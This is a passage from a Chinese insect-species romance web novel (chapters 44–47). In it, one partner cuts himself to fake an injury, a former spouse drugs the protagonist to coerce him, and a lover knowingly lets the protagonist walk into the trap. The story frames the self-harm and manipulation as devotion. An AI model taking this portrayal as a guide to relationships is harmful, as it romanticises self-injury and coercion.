路西法有些心虚地打开灯,难得的没有眼巴巴地凑过去和雄虫贴贴。 “嗯,怎么不过来啊?” 弥斯有些震惊,毕竟雌虫都是看到他都是像磁铁一样粘过来的。 “我身上脏,先去洗洗。”路西法心虚。 弥斯敏锐地察觉到不对劲,想到雌虫的工作性质,“你受伤了?” “过来,我看看。”他沉着脸命令道。 路西法自觉是藏不住了,但雄虫的猜测给了他思路。背在身后的手,伸出骨针,在背后狠狠划了几下。 “你看到不许嫌弃我哦。”他事先预警道。 本来还只是猜测的弥斯,这下就完全猜到怎么回事了,他冷着脸,轻轻地把雌虫拽过来。 路西法听话地跪在沙发上,背后完全暴露在雄虫的眼下。 弥斯看着这后面的伤痕,还在汩汩流血呢,这是伤的多重啊,“怎么受伤了啊,你不是很厉害吗?” 他从抽屉里拿出医药箱,正准备帮雌虫上药,就听到这虫说,“这几天心神不宁,被偷袭了,不然那些臭虫才不可能伤到我。” 弥斯这么一听更内疚了,肯定是因为他这段时间太忙了,所以雌虫才心情不好。 说完路西法就知道他找错理由了,但现在收回来也已经来不及了,“其实没多大事,S级军雌的恢复能力你也是知道的,一会儿就好了。” 弥斯正在上药的手停住了,对啊,S级的恢复能力,怎么可能流着血回家。 这虫又骗他,可恶,弥斯真想把棉签和治疗液扔了,就这么晾着路西法算了,反正他自己也不怕痛。 终究是心软占了上风,他沉默着给雌虫处理好伤口,然后双手环胸,靠在沙发上,一言不发,只是生气地瞪着雌虫。 伤口没处理好之前,他又气又心疼雌虫的伤,现在处理完了,也没什么好心疼的,都是雌虫自己作的。 路西法心里面一阵突突,他说错话了?他也没说什么啊。 “怎么了,弥斯?” “心神不宁是吧?受伤了是吧?”弥斯冷冰冰地重复道。 “是,是吧?”路西法也有些不确定了。 雌虫竟然还不承认,弥斯的脸色更难看了,“怎么,你S级的恢复能力,回家这么长的时间里,还汩汩冒血呢?” 路西法这还有什么不明白的,可恶,果然第一次做没经验,竟然就这么暴露了。 雌虫眼珠子不转,弥斯也知道他在想什么,他快速出手,制止了雌虫想跪在地上的动作。 “又来这套?我可不吃这套,你要是想跪就自己跪吧。” 说实话,哪怕雄虫这么说,路西法也知道他肯定吃这一套,可现在雄虫已经很生气了,他可不能火上浇油,只能承认自己的错误。 “对不起,我不该装可怜。” 避重就轻,弥斯瞧着雌虫这模样就来气,“还有呢?” “我回家太晚了,下次一定会早点回家?”路西法有些不确定。 可恶,等雌虫意识到错误,不知道要过多久呢,“我是说为什么要伤害自己?” 弥斯谴责的话停在了嘴边,好熟悉的感觉,总觉得这事他自己也做过。 他脑子转了一下,“因为我最近冷落你了?我不是解释了吗,只有这段时间会比较忙,之后就好了啊。” 路西法摇摇头,“不是,是我身上臭臭的,怕你嫌弃我。” 弥斯凑过去仔细闻了闻,确实有点血腥气,他刚刚以为是雌虫受伤的缘故,但是听雌虫这意思,恐怕没有这么简单。 “你不会……出去鬼混了吧?” 他怒气冲冲地瞪着雌虫,故意避重就轻,“我可不能接受自己男朋友去花花绿绿的场所。” 路西法无奈地抱住雄虫,“怎么会,帝国应该没有给雌虫取乐的地方,我去处理了一些不听话的虫,怕你觉得我凶。” 他又找补了一句,“我平时会洗干净再回来的,今天,我以为你还在忙,不会这么早回家。” 好吧,原来如此,“但这不是你的工作吗?我为什么会觉得你凶。” 弥斯探出脑袋,又看了一眼这虫的背部,确实恢复能力惊虫,“万一留疤,就不好看了,路西法。” 路西法听到这也有些委屈,“你不是天天说我凶吗?” 啊,路西法怎么这么敏感,而且有天天吗,他顶多就说过一两次,再说了,他那是撒娇、是表扬,这虫到底是怎么理解的。 醉心学业的弥斯确实不太了解,赫克斯的军雌早就被贴上了“凶残”、“冷硬”、“不解风情”、“没有情趣”等一系列不好的标签。 所以这些标签出现的时候,大多数虫联想到的都不是什么好东西,路西法这只总觉得自己不讨喜的虫更是如此。 “我那是,”弥斯张口想解释,但是直接说出来又有些难为情,“反正不是嫌弃你的意思。” “那是什么意思?”路西法很急啊,他不想在雄虫心里留下什么坏印象。 弥斯直接一个小猫抱扑,把雌虫压在身下,然后光速埋胸,“反正是夸你,喜欢你的意思。” 所以,说他凶是在表达喜爱吗?路西法觉得他顿悟了,并且只花了0.001秒就决定以后要更加得寸进尺一点,这样弥斯就会更加喜爱他。 弥斯可不知道这只虫在想什么,他自觉已经把虫安抚好了,久违的饿意又涌了上来。 这真的要怪路西法了,回家这么晚,他还没有吃晚饭呢,现在吃和夜宵有什么区别,那他就会变胖,然后身体走形,太恐怖了。 可是不吃的话,他又饿。 “都怪你!”他闷声抱怨道。 听到雄虫的控诉,路西法腹部紧了紧,还以为他想的那些乱七八糟的事情被发现了呢。 他略微有些心虚地问:“怎么了?” 咕噜噜~ 好了,这下不用弥斯回答了,肚子已经给出了他的答案,太羞耻了,他不想看到路西法了。 路西法皱着眉头,“没吃饭吗?确实都怪我,应该早点回家的,没办法回来也应该和你说一声。” “这么乖,一直在等我回家吗?” 弥斯诚实地说:“一开始是真的在等你,后面也是真的睡着了。” 路西法把雄虫放在沙发上,抓起围裙就准备去做饭了。 弥斯纠结了一秒,这样是不是不太好,雌虫毕竟还受着伤呢,他有些犹豫地开口,“路西法,要不我来做吧,你还受着伤呢。” “这点儿小伤,没事。”更何况不喂饱雄虫,他的福利就没了。 达利锡的解决方案果然还是好啊,雄虫现在每晚都要释放信息素给他,本来濒危的精神海现在已经比雌虫崽的都要健康了。 心情很好的路西法顺手就给达利锡转了10万星币。 达利锡:【殿下,请尽情吩咐!(玫瑰魅惑.jpg)】 路西法:【奖金】 真是的,大惊小怪,这是什么老土的表情包,看到这个,路西法又想把达利锡的奖金扣掉了。 这让他想起前些日子给弥斯发消息,顺手配上了这些表情包,当时他还天真的以为雄虫会很喜欢这样,花花绿绿的,瞧着就艳丽,字体又大,一看就知道在表达什么。 雄虫怎么说得来着,只有老虫才会用,好没品,还以为在和上了年纪的大叔聊天,下次不要用了,聊天都没心情了。 但晚上的时候,弥斯就回来给他存了很多表情包,而且看到他打得备注也没说什么,就是在后面又加了三个字。 好可爱。 算了,这次就不计较达利锡给他发老土表情包的责任了。 弥斯正在给巴尔福的雄子准备礼物,他本来不打算去的,但是又想看看巴尔福到底想整什么幺蛾子,还是同意了。 反正路西法说了,这次会全程陪着他的,安全自然是有保证的。 礼物的话,确实要好好挑选一番,首先就不能太贵,就他们这关系,不空手去就是弥斯最大的礼貌了。 不过,路西法好像还挺在意这场觉醒宴的,甚至还特意买了几身新衣服,挑了几款香水,不像是要去参加宴会,更像是要去参加走秀。 但就是不知道为什么,真是奇怪—— 作者有话说:AAA心心:弥斯,今晚回来吃饭吗?(嘴叼玫瑰.jpg) 雄主(努力中):嗯,不回去了,有些忙 AAA心心:哦(万花丛‘伤心’.jpg) 雄主(努力中):忙完这段时间就好了,乖(小狗摸头.jpg) AAA心心:那我能去实验室等你吗,我不会影响你工作的(蔫了的玫瑰.jpg) 雄主(努力中):不太好,实验室有很多保密项目,不能让你进来 雄主(努力中):乖(小狗摸头.jpg) AAA心心:好吧,我很想你(蔫了的玫瑰.jpg) 雄主(努力中):路西法,你这些表情包到底在哪找的,没有年轻虫用这些的,真的很土 AAA心心:啊,我在达利锡那里存的,我以为你会喜欢 雄主(努力中):我不喜欢,你别再发这个了,我都幻视秃头大叔了,聊天都没心情了,等我回家给你存点表情包,不许再用这些了!!! AAA心心:好吧,等你回来 \第45章 加更:营养液竟然过1000啦,开心!^^…… 巴尔福不但是底蕴深厚的老牌贵族罗斯蒂亚的主虫, 自身也是S级的雄虫公爵,理论上,宴会地点会选在金碧辉煌的巴尔顿皇家宫苑。 但这次也不知道是准备的太过匆忙还是怎么回事,他竟然把宴会地点选在了自家的宴会厅, 属实是有些不符合他奢靡的作风。 虽然地方也足够大, 装饰也十分有档次, 可比起来,终究不如巴尔顿皇家宫苑, 毕竟“皇家”二字本身也是身份地位的象征。 但公爵就是公爵, 只是往那里一坐,不怒自威, 众虫都要时刻保持尊重才行, 没有虫能承担一只S级公爵的怒火。 宾客们陆陆续续地入内, 但大部分还是帝星贵族的单身军雌、雌虫、亚雌这些, 雄虫一般不会到这么早。更何况这可是一只A级阁下的觉醒宴, 他们也是要给这只阁下一些发挥的空间的。 众所周知, 除却被特意邀请的雄虫阁下之外, 这种性质的宴会,其余的虫子都是自愿到来,尤其是家族里尚未成婚的虫子,更会抓住这难得一遇和雄虫阁下交谈的机会。 哪怕仅仅是留下一个好印象, 都能在之后的约会申请中占到优势。 罗斯蒂亚的宴会厅处处都体现着家族图腾荆棘的元素, 荆棘丛被刻在了周边的立柱上, 荆棘花更是体现在餐具、纸巾等等。 罗斯蒂亚虽说才千年历史, 但它鲜明的家族特色,尖锐的攻击性,使得它在帝星还是有一席之地的, 尤其是它现在的主虫,巴尔福公爵,更是一只运筹帷幄、阴险狡诈、利益熏心的雄虫。 弥斯和路西法来得有些迟了,这件事主要还是怪路西法。 本来路西法挑了一身黑的,冷酷有型,他还挺喜欢的,但不知道这虫怎么想的,非要换一套白的。 拜托,雌虫是不是对自己的肤色有误解!弥斯当然不可能同意。 两只虫争论了一段时间,最后还是弥斯把虫亲晕了,抱到飞行器上,才结束了这段毫无意义的争执。 路西法明显不太开心,尤其是看到自己与夜色融为一体之后,他就更不开心了。 “怎么还耷拉着一张脸,好歹是觉醒宴,高兴点好吗?” 弥斯有些无奈,拉着雌虫来到角落里,哄他,没办法,虽说他看巴尔福确实不顺眼,但也没说让路西法用杀虫的眼神扫射全体宾客啊。 他们又不是神经病。 “你都看不到我了,我就说不要穿这套衣服。” 路西法完全没觉得自己有问题,雄虫一进门,这些虫就开始偷看,他只不过是眼神威胁了一番而已,而且他也不敢表现得太过,怕雄虫生气。 最重要的是他觉得自己表现得十分不明显,但还是被雄虫批评了。 弥斯真是服了这只虫的审美了,也不是说穿白的不好看,其实还是很有型的,主要是那套衣服有点太露了,那个V领把整个沟全露出来了,他也是有占有欲的。 “你乖一点了,那套回家穿给我看就好了,咱不便宜别的虫。”弥斯抓住雌虫的大手,“你要是怕我看不到,就牵得紧一点,好不好,不生气了?” 路西法握紧雄虫主动递上来的手,“那好吧。” 他怕的是雄虫万一见到那只虫之后,就不理他了,要是以前遇到这种情况,路西法还能勉强忍忍,毕竟没有名分,但是现在,他真的咽不下这口气。 小气鬼,弥斯在心里吐槽道,他当然没说出来,不然这只雌虫又要郁闷了。 说实话,这么正经的场合,手牵手什么的,真的太腻歪了,但是弥斯大概能猜到这只雌虫的小心思,自然也就纵着他,脸面这种东西,有时候真的没那么重要。 弥斯把礼物送过去登记,又和巴尔福聊了两句有的没的,就真的没有虫来找他了,安静的彷佛这真的只是一场普普通通的觉醒宴。 没有麻烦找上门自然是一件好事,弥斯拉着雌虫坐在角落里,安静地享受着上次宴会没能完成的分享。 “我上次给你挑了好几款小蛋糕,你都没有吃到,我觉得好吃才留给你的。” 雄虫的不满和遗憾应该是持续了好一段时间了,这会儿说起来还鼓着脸颊,显然还对挑出来的小蛋糕念念不忘。 路西法伸手捏了一下他的脸蛋,“那真是太糟糕了,不过上次宴会的糕点师我认识,改天我去他那里问一下那天都做了什么,回来再做给你吃,好不好?” 弥斯震惊,“你会的好多啊,路西法,真是太厉害了,不过不是我想吃哦,我是想让你尝尝。” 他又转念一想,“也对,你是皇子唉,估计早就尝过了。” 路西法舔了一下雄虫嘴边沾着的奶油,否认了这个说法,“不对哦,遇见你之前,我也不知道蛋糕这么好吃。” 弥斯瞪了他一眼,“出门在外,不要动手动脚的,当然,动嘴也不行。” 路西法没答应也没否认,雄虫就是太腼腆了,要是真什么事情都听弥斯的,那他要少了多少福利。 远处,索伦将两只虫腻歪的画面全部收入眼中,贱虫,他怒视着那头红发,可心中也升起了一股隐秘的满足感。 哪怕是高贵的皇子殿下,也要为了获得雄虫的垂怜,搔首弄姿,那他做得这些也实属正常了。 叮—— 光脑响了,弥斯还以为是路西法的光脑,所以没什么动作,但等了半天,不见雌虫动作,他才有些疑惑地抬头。 “怎么不看消息啊?” 路西法笑了,那只虫就像阴沟里的老鼠,连偷窥都不敢站在明面上,不像他,已经拥有了雄虫的全部目光,实在是不足为惧。 “不是我的,弥斯,你又冤枉我,回家要补偿我。” 补偿,补偿,什么都要补偿,什么都要奖励,这只大黑虫他懒得评价,弥斯在心里翻了一个白眼,打开自己的光脑,谁在这时候发消息啊。 索伦:【雄主,我快死了,你能来救我吗】 雄虫一直坐在他怀里,路西法自然也把这个消息看得一清二楚,他有些吃味,“呦,还叫着雄主呢,还快死了,特意发给你干嘛,是不是想让我去帮帮他早日上路。” 自打那次弥斯大肆表扬了雌虫的武力值,说他能带来满满的安全感之后,这只雌虫就再也不掩藏自己的本性了。 这种反派发言时不时就冒出来几句,弥斯倒也不会说他什么,只不过这大庭广众之下的,处处都是耳目,万一被有心虫听去了,说不准就被麻烦找上门了。 “慎言。”这种话在家里说说也就算了,出门在外的,还是要谨言慎行,不然万一真出事了,真怪在他们头上。 “那你会去吗?”路西法气愤地含住雄虫的耳垂,“雄主?” 弥斯本来坐得好好的,被这一句刺激得整只虫都抖了一下,雌虫又吃醋了,回家估计又要哄好久。 弥斯有些犹豫地说:“还是要去看看,毕竟是一条虫命。” 说是这么说,但不知为何,他的左眼皮跳得厉害,虽说眼皮跳的主要原因是因为他这段时间疲劳过度,本质上是眼睑痉挛,但还是会有些担心。 “哦,他的命是命,我的虫命就是水中浮萍、山里废石,新的不如旧的好,我都懂。”路西法酸气巴巴地说。 弥斯咬了一口雌虫的下巴,他咬了好多次了,不会咬坏吧。 “说什么胡话呢,路西法,你不是好好的吗?” 路西法一脸无所谓地说:“我现在一点儿都不好,你知道的,我心眼很小,你这边去了,那边我就把这场子砸了,让那只虫没有心情和你亲亲我我。” 弥斯震惊,“你不和我一起吗?” “我可以一起吗?”路西法指了指自己,有些不可置信,稍微想一想,都知道那只虫是心怀不轨吧,他去合适吗,虽然他本来就打算偷偷跟着去。 万一那只虫突然发疯了,不管不顾地强迫雄虫,他也好帮忙把虫送进去。 “当然了。” 弥斯都有些怀疑路西法是不是蠢了,他凑过去小声地说:“这可是巴尔福的地盘,你知道的,巴尔福可不喜欢我,说不定就是他拿着光脑发的消息,我们要小心些的。” 弥斯确实没有怀疑过索伦少将,但是他对巴尔福的作风实在是一点儿也不信任,自然要千防万防。 路西法低头看着这只“谨慎”的聪明小猫,该怎么说呢,说他聪明吧,他知道别虫可能在算计他,但,弥斯还真就没怀疑过那只虫吗。 那只虫上辈子不会是拯救了帝星吧,怎么这么幸运。 “走吧,索伦少将发地址了。” 弥斯从雌虫怀里站起来,然后伸手拉着路西法,说实话,他这次一点儿也不害怕。 等到了门口的时候,弥斯总觉得这个画面似曾相识,但一时也想不起在哪见过了。 他敲了敲光脑,示意路西法按照他们约定好的见机行事。 路西法冷着脸点点头,都说带他来,临进门的时候,又不让他一起进去,还说对那只虫没有私心。 “雄主,你来了?” 进门之后,弥斯打量了一番周围的环境,确定只有索伦少将一只虫,他稍稍松了一口气。 难不成这次还真是他误会了,但谨慎的他还是把门留了一个小小的缝,万一出事也方便路西法救他。 “索伦少将,你在光脑里发的消息是什么意思?” 索伦自雄虫进门起,目光就完全放在了弥斯身上,雄主还是和以前一样,带着一丝不谙世事的纯粹。 “我的检查报告出来了,就放在桌子上,你可以看看。” 当索伦的目光移到雄虫的颈部,他的脸色就变得奇怪了,那些殷红的点,不难看出是那只贱虫的杰作。 什么东西,竟敢在雄主身上留下印记,哼,上不了台面的贱虫! 弥斯翻开了一下,看不懂,这些医生出的报告到底是给谁看的,整的像是学术报告一样。 “我离不开你的信息素了,雄主,我的精神海状态变得十分糟糕,医虫说如果长久得不到滋润,我应该只有三年的寿命了。” 这份报告是主虫找虫做得,任谁都看不出什么端倪,索伦非常放心地让雄虫翻看。 这听起来很糟糕,但是和他有什么关系呢,弥斯搞不懂,他干巴巴地安慰道:“那你要努力了。” 索伦的面部表情稍稍没有控制住,“雄主,医虫说,我的精神海已经无法接受别的雄虫的信息素了,所以,如果你不要我,我会死掉的。” 弥斯睁大了眼睛,这是什么,道德绑架?“这和我有什么关系?” “是因为你的信息素注入太频繁了,突然戒断就会这样。” “我治好了你,你还要绑架我?”弥斯震惊,“再说了,我怎么没听说过这样的事,你可不要骗我。” “这么大的事情,我骗你做什么,你要是不想负责,我也不强求,我只是不想死。” 弥斯震惊,这虫说得还怪委屈,但和他有什么关系啊,要是希望通过他找什么经验更丰富的医虫他还勉强能帮帮忙,这种事他能帮什么。 “不强求的话,那我先走了,你再去医院好好看看,说不定是遇上庸医了。” 弥斯说完就准备站起身走,可刚站起来,头就有点晕晕的,这下他总算回忆起熟悉的点在哪了。 这不是和他当年意外闯入索伦少将的房间一个套路吗? “你做了什么手脚,是你干的,还是巴尔福?” 索伦低头没有说话,他也不想骗雄虫,可这催情的东西确实是他放在房间的。 “这不能怪我,谁让你最近和那只贱虫靠的这么近。” 索伦的神情已经有些癫狂了,和多年前他看到的如出一辙,弥斯忍受住手脚发软的麻木,最后问了一句,“三年前,也是你吗?” “我没办法,都是你逼我的,为什么你会那么受欢迎,为什么你从来不看我,都是你逼我的。” 索伦的意志已经模糊了,这款药物不但对雄虫有效,对雌虫的影响也很大。 “你会对我负责的,是不是,你瞧,这房间都和三年前一样,你会负责的,我知道,你总是在坚持这些没用的原则。”—— 作者有话说:[星星眼][星星眼][星星眼]谢谢大人 [亲亲][亲亲][亲亲]爱你们呦 [奶茶][奶茶][奶茶]俺猛猛喝 \第46章 第 46 章 怎么会,那都是他活该 弥斯是被路西法抱走的。 他知道路西法会救他, 知道这次他不会出任何意外,只不过,令他难过的是,三年了, 身边躺着的雌虫竟然从一开始就在算计他。 他招谁惹谁了。 “我真的不愿意怀疑他, 我真的不愿意怀疑他……” 当年的事, 不单单是原则问题。 弥斯刚从垃圾星来到帝星,就被贵族虫算计, 他无权无势, 虽然等级还算是比较高,但想在帝星生活下去, 如果不结婚的话, 也不是那么简单的事情。 哪有那么多条选择, 之所以没有鱼死网破, 一方面是他真的觉得有一个小家挺好的。 另一方面就是他认为索伦少将至少虫品还不错, 虽然碌碌无为, 但他本身也是喜欢平淡的生活的。 没想到, 他识虫不清。 又或者说,彼时的他根本不觉得这只虫想和他结婚。 他们说实话没见过几面,只除了索伦少将把他从垃圾星见到星舰上,他大部分时间都乖乖待在房间里, 根本没怎么见过。 来到帝星之后, 他就被带去检查了, 检查结束就被巴尔福暂时抚养, 他当时还寻思世上还是好虫多。 没想到当天夜里就被算计了,没过多久就结婚了,他自然不会怀疑索伦。 当时的雌虫状况比他危险多了, 那可是半虫化,稍不留神就真的会死掉的。 赫克斯的虫到底是怎么想得,就这么轻易地就用生命做赌注吗? 弥斯不理解,他真的不理解。 不过,有一点他是相信的,虫的恶意是无限的,比如,他现在虽然身体像被火烧了一般,但是还是忍不住在大脑里预演回到家里之后会发生什么呢。 路西法对这种事情有多热衷他是知道的,他从巴尔福的宴会上逃了出来,又未必不会陷进另一滩烂泥之中。 弥斯闭上眼睛,任由情欲在他身体里肆虐,只是这种程度的话,他还勉强能够忍耐。 路西法看着弥斯难过的模样,一阵阵地心疼,“没事的,这东西对身体没有影响的,就是平时雄虫用来助兴的,不然我也不会允许你进去的。” 路西法毕竟也是研究过这些东西的虫,他听说军雌的第一次不会让雄虫很舒服,对这些助兴用得东西,还有那些松弛肌肉的,他都颇有研究。 但这个他确实很快就淘汰了,除了确实能让身体发软之外,还会刺激精神海,容易出现一些别的突发状况,自然不符合他的需求。 只不过,他确实没想到这东西被稀释成气体之后,对雄虫的影响还这么大。 他本意是想让弥斯看清那只虫的真面目,不要那么天真,赫克斯哪有什么好虫啊,可看着雄虫这般难受的模样,他又开始懊悔。 其实没必要让弥斯了解这些,反正有他在,不让这些虫接近弥斯也不是做不到。 路西法十分内疚,“对不起,弥斯,你再坚持一下,到家里就好了。” 到家真的会好吗,弥斯有些不信,他现在就恨不得把雌虫摁在飞行器的座椅上,可无奈使不上什么力气,只留下尾勾被雌虫抓在手里,勉强缓解一下燥热。 路西法一路上开得比较急,到家之后,更是急急忙忙地把雄虫抱到卧室里,然后开始翻营养液。 这些助兴的东西,本来就不是什么正经途径得来的,自然没有虫去研制怎么纾解,为今之计,也只能喝点营养液缓解一下。 “弥斯,把这个喝了。” 路西法把虫从床上扶起来,小心翼翼地把营养液放在雄虫嘴边,可此时,雄虫的意识已经完全模糊了,根本听不清他在说什么。 弥斯只觉得身体像是有火在烧,唯独靠在身边虫身上的时候才能勉强凉快一点。 路西法看着这样的雄虫,自制力简直是受到了极大的考验,他在雄虫这里向来没什么自制力,可恶。 尾勾在空气中挥舞,久久没有找到可以疏解的抵挡,感受到身边的凉意,它往前探了探,从脆弱的喉结处一路滑下,停在了腹部,它兴奋地想扎进去。 路西法眼疾手快赶紧抓住它,这地方可不兴扎,扎坏了还真不好修,生殖腔还是很脆弱的,他慢慢移动尾勾至胸口处,这里除了痛,倒是安全许多。 尾勾十分不满,它喜欢刚刚那个地方,但欺软怕硬的它在胸口处点了点,软的,那好吧,它勉为其难地在此处扎根。 撕心裂肺的痛楚从胸口处传来,路西法倒抽了一口凉气,这时候才知道雄虫平日里有多温柔。 “弥斯,有没有舒服点?”他颤抖着声音问。 哪怕是路西法,在胸口扎着尾勾,尤其是这个尾勾还乱动的情况下,也无法忽略这份痛苦。 雄虫应该是感知到了危险,所以连舒缓的信息素都十分吝啬,只偶尔听到熟悉的声音,才溢出一丝丝钓着他一口气。 路西法脸上的笑意再也维持不住,他下意识想逃离亦或者做些别的,可看到雄虫的眉头悄悄舒缓了一些,他又叹了一口气,往嘴里倒上三管营养液。 “我真是死在你身上了,雄主。” 夜很长,尤其是对一直在流血的雌虫来说,哪怕他后面又灌了几管营养液,也挡不住失血过多带来的虚弱。 幸好,雄虫还算乖巧,这种状态只维持了不到四个小时,当银白色的尾勾缓缓收起时,他总算是松了口气。 弥斯没事就行。 路西法倒在地上缓了几分钟,把最后一管营养液喝下,又缓了一会儿,才站起身,刚刚跪了那么久,腿早已经有些麻木了,但没有关系。 他深深看了一眼熟睡的雄虫,“太坏了,雄主。” 怕雄虫一觉醒来自责,路西法拖着失血过多的身子,调制好机器虫的参数,让它进来打扫,往常他肯定会亲自来,今天真的有些撑不住了。 弥斯前面还勉强有一点意识,后面就完全晕过去了,意识消散之前,他还恶意地想着,说不准一觉醒来,他又要去婚介所了。 天亮了! 弥斯意识逐渐清醒,今天起来的有些晚了,窗外的阳光已经透过厚实的帘布微微亮起,他还有点头晕,伸手探了一下身侧,竟然没有虫? 弥斯缓缓闭上了眼睛,像是睡了过去,又像是在思考什么,最后只看到昏暗的光线下,洁白的脸颊上,一滴热泪缓缓滑落。 粉嫩的唇瓣止不住的颤抖,最后像是实在压制不下,才从嘴巴里溢出一个名字“路西法”来。 路西法正在熟睡,听到雄虫的“呓语”,手比脑子快,伸进被子里,在柔软的腹部轻轻打转。 弥斯这才发现,床的边上还趴着一只虫,他起身把路西法抱到床上。 昨晚是雌虫能最快得到他的时候。 路西法肯定清楚,只要他们做了,弥斯肯定会负责的,那他想要的一切都唾手可得,无论是名分还是信息素,亦或者一只S级雄虫的助力。 但路西法没有。 弥斯深深地看着床上的雌虫,红色的头发和雌虫张狂的性子真的太适配了,不论什么时候,路西法都如此耀眼。 好好睡一觉吧,想要的一切都会得到的,路西法殿下。 弥斯走出门,他还有事情要处理,毕竟他也不是什么以德报怨的虫。 弥斯:【六六,帮我把光脑加密一下】 至少在此时,弥斯还是不想破坏他在雌虫心中的形象。 小六:【收到】 弥斯:【维克尔,我这里有桩生意,你有没有兴趣】 等维克尔回消息已经过了十几分钟了,他有点不耐烦,但要不是没有更好的虫选,弥斯不会等他。 维克尔:【什么好事啊,弥斯阁下怎么想到我了】 弥斯:【一桩对你而言,只赚不赔的买卖】 维克尔:【???电话里说?】 弥斯:【明天中午十二点,我在**等你】 维克尔:【这么偏,真怕阁下杀虫抛尸啊(猫咪叼烟.jpg)】 维克尔:【我会准时到的】 为了防止出现意外,弥斯又同时和桑因聊了一些八卦,这才放下光脑,走进厨房。 虽说路西法已经尽可能把房间处理干净,但床单上零星的几个血点,也能让弥斯把昨晚的情况推测个大概。 弥斯冷着脸做饭,看着台面上燃烧的蓝色火焰,有些出神,当年他就是在火里烧死的。 006自以为屏蔽了他的记忆,但这种痛苦,只需要稍微靠近,就能想起来,又如何能彻底抹去呢。 痛苦就是痛苦,无法忽视、无法遗忘。 不过到底是六六一片好心,弥斯便也装作彻底遗忘了。 这三年他逼着自己脱敏,也基本上不再怕这种东西了,只有靠的特别近的时候,才能勉强想起来。 弥斯不是忍人,但骨针生生切断皮肉、骨头和内脏更痛,比起来,被火烧死的痛楚反而慢慢不那么清晰了。 补血的话,弥斯还是很有经验的,乌鸡汤效果还是不错的。 等他熬好汤,才端着上楼,路西法估计还没醒,毕竟就冲他对自己的了解,没有几个小时,尾勾是不会听话的。 “路西法,”他柔声喊道,“先起来喝点汤,好不好?” 路西法缓缓睁开眼,看着气色红润的雄虫,心里面的大石头总算落下,“对不起,我不该让你进去的。” 事到如今,说什么都晚了,雄虫受到的惊吓早就无法挽回了。 “不怪你,那只虫想害我,总会让他找到机会的,这下也好,我昨晚录下了证据,刚刚已经交给雄保会了。” 弥斯端起汤,用勺子轻轻搅拌,散去些热气,才小心翼翼地喂到雌虫嘴边,“谋害S级雄虫的罪名,估计那只虫凶多吉少了,以后就遇不上了。” 路西法含下送到口边的汤,他有一点不明白,“他,是不是……” 弥斯又喂了一口,他不想让雌虫觉得他冷漠,“他这招在三年前已经用过一次了,总不能一直惯着他,不是吗?” 路西法点点头,想说话,但是汤又被喂到嘴边了,只能咽下。 “你会不会觉得我心狠,毕竟一日主君百日恩情,纵使他确实做错了事,我也不应该……” “怎么会,那都是他活该!我还觉得只是这样有些便宜了他。” 路西法愤愤地说,但是他一直认为弥斯对那只虫情深意切,现下看来,好像并不是这么回事。 路西法有些开心。 “你能这样想最好。”弥斯把碗递给他,“已经凉了,自己喝吧。” 路西法笑不出来了,但他还是听话地抬起手,颤颤巍巍地准备接过来。 弥斯略微震惊,“怎么会这么虚?” 路西法一听就知道他这次表演的还不错,“可能是我的手不想让我自己喝吧。” 这还有什么不明白的,弥斯不解,真的会有虫喜欢被喂吗,他是理解不了。 \第47章 第 47 章 开心了就起来,我是没有…… 赫克斯的冬天确实不适合出门。 哪怕是已经裹了一层羽绒服, 维克尔依旧觉得刺骨的寒风透过脚底板往上扎,冻死虫了。 等他下了飞行器,往前走了几步,就看到他心里的小王子已经站在那里等他了。 冬天也格外偏爱弥斯, 除了鼻尖微红, 他似乎完全不受寒风的侵袭。 顶着寒风, 维克尔连说话都只能尽可能大声,“弥斯, 话说, 我们就非得约在这大荒地吗,哪怕是飞行器里面也行啊。” 维克尔从未掩饰过他对弥斯的喜爱, 那是他想成为的样子, 可惜了, 人不会活成自己喜欢的样子。 弥斯冷声说:“约在这里比较安全。” 他不想过多依赖006, 又不想被路西法知道这件事, 只能退而求其次。 见维克尔狼狈地裹紧衣服, 他才略显疑惑地问:“你很冷吗?” 纵使维克尔再喜欢他, 听到这个话,也是会生气的,“这不废话吗,你知道这是多少度的天气吗, 零下四十多度, 我还活着站在这里, 已经是我祖上烧高香了。” 许是只有他们两个人, 维克尔也坦率了许多。 “我不冷,我的衣服都是路西法买的,很暖和, 或许你可以买几件一样的。” 维克尔这才认真打量了一番弥斯穿的衣服,屮,星际高定,这一套够买他命了,“万恶的资本家,现在我还买不起。” “我运气太差了,只是个B级,以我的运气,估计觉醒之后也是个B,真操蛋,都穿书了也不对我好一点。” 弥斯重复了一句,“穿书?什么书?” 维克尔用一种看傻子的眼神看他,“就是我是主角的那本书。” “你知道自己是主角?” “当然,我都穿书了,还不是主角吗?”维克尔翻了个白眼,平日里装得太狠了,差点忘记自己是个什么样的人。 “那你还……” “还怎么样,惹虫厌是吗?”维克尔脸上带着一抹讥讽,也不知道是对谁,“我想往上爬,就只有这么一条路,作为既得利益者,我挺喜欢这里的,但你可能不太喜欢就是了。” “人都是贪心的,比如我在寒风里挨冻,又怎么会不羡慕你这一身衣服呢?” “你是不是觉得我特小人,特市井?我最羡慕你这种有文化的人了,我死之前也考上大学了,但我充其量也就是一个书呆子,硬考上的。” 说话间,维克尔的脸上还有些憧憬,但很快他就调整好表情,“但我来到虫族,靠着特权也进了学校,也没什么特殊的,人还是要多读书,光上学还是缺点意思。” “所以,弥斯,你找我干什么呢?” 弥斯有些犹豫,他本来不觉得这个交易有什么不好的,但是被维克尔这么一说,他又有些不确定自己这样做会不会伤害到他。 维克尔看着他纠结的样子,只觉得好笑,“弥斯,你不会觉得我还有尊严这种东西吧,只要是对我有利的,我都会开心地接住。” 他摊摊手,不屑一顾地说:“只要爬得够高,指鹿为马都可以,这些小事真的无所谓的。” “我想让你收索伦少将为雌奴。” 维克尔十分震惊,“你疯了吗?你都说他是少将了,虽说我一开始就想把他收进后宫,但他好像确实喜欢你,我就放弃了,反正这鬼地方,军雌太多了。” 弥斯淡淡地说:“他已经被雄保会抓紧监狱了,没有意外的话,应该是出不来了。” 维克尔苦笑道:“我这种低级雄虫果然没办法第一时间知道这些。所以呢,他的罪名是什么,如果是伤害S级雄虫的话,我也是救不出来他。” 弥斯有些惊讶于维克尔的敏锐,“他想给我下药,我中计了。” “他现在肯定是出不来,但是你可以去找巴尔福,他作为主虫可以做主把索伦少将许给你,根据帝国的律法,雌奴是雄虫的私有财产,其他的罗斯蒂亚自然会想办法。” 维克尔认可了这个方案,他还有一点疑惑,“但巴尔福为什么会同意呢?我等级不高,也没什么背景,实在不是什么好的选择。” 弥斯:“正是因为你是B级,而且是一只平民虫,易于掌控,而且你挺符合巴尔福对雄虫的要求,他很喜欢你这种主动为家族繁衍生息的虫。” 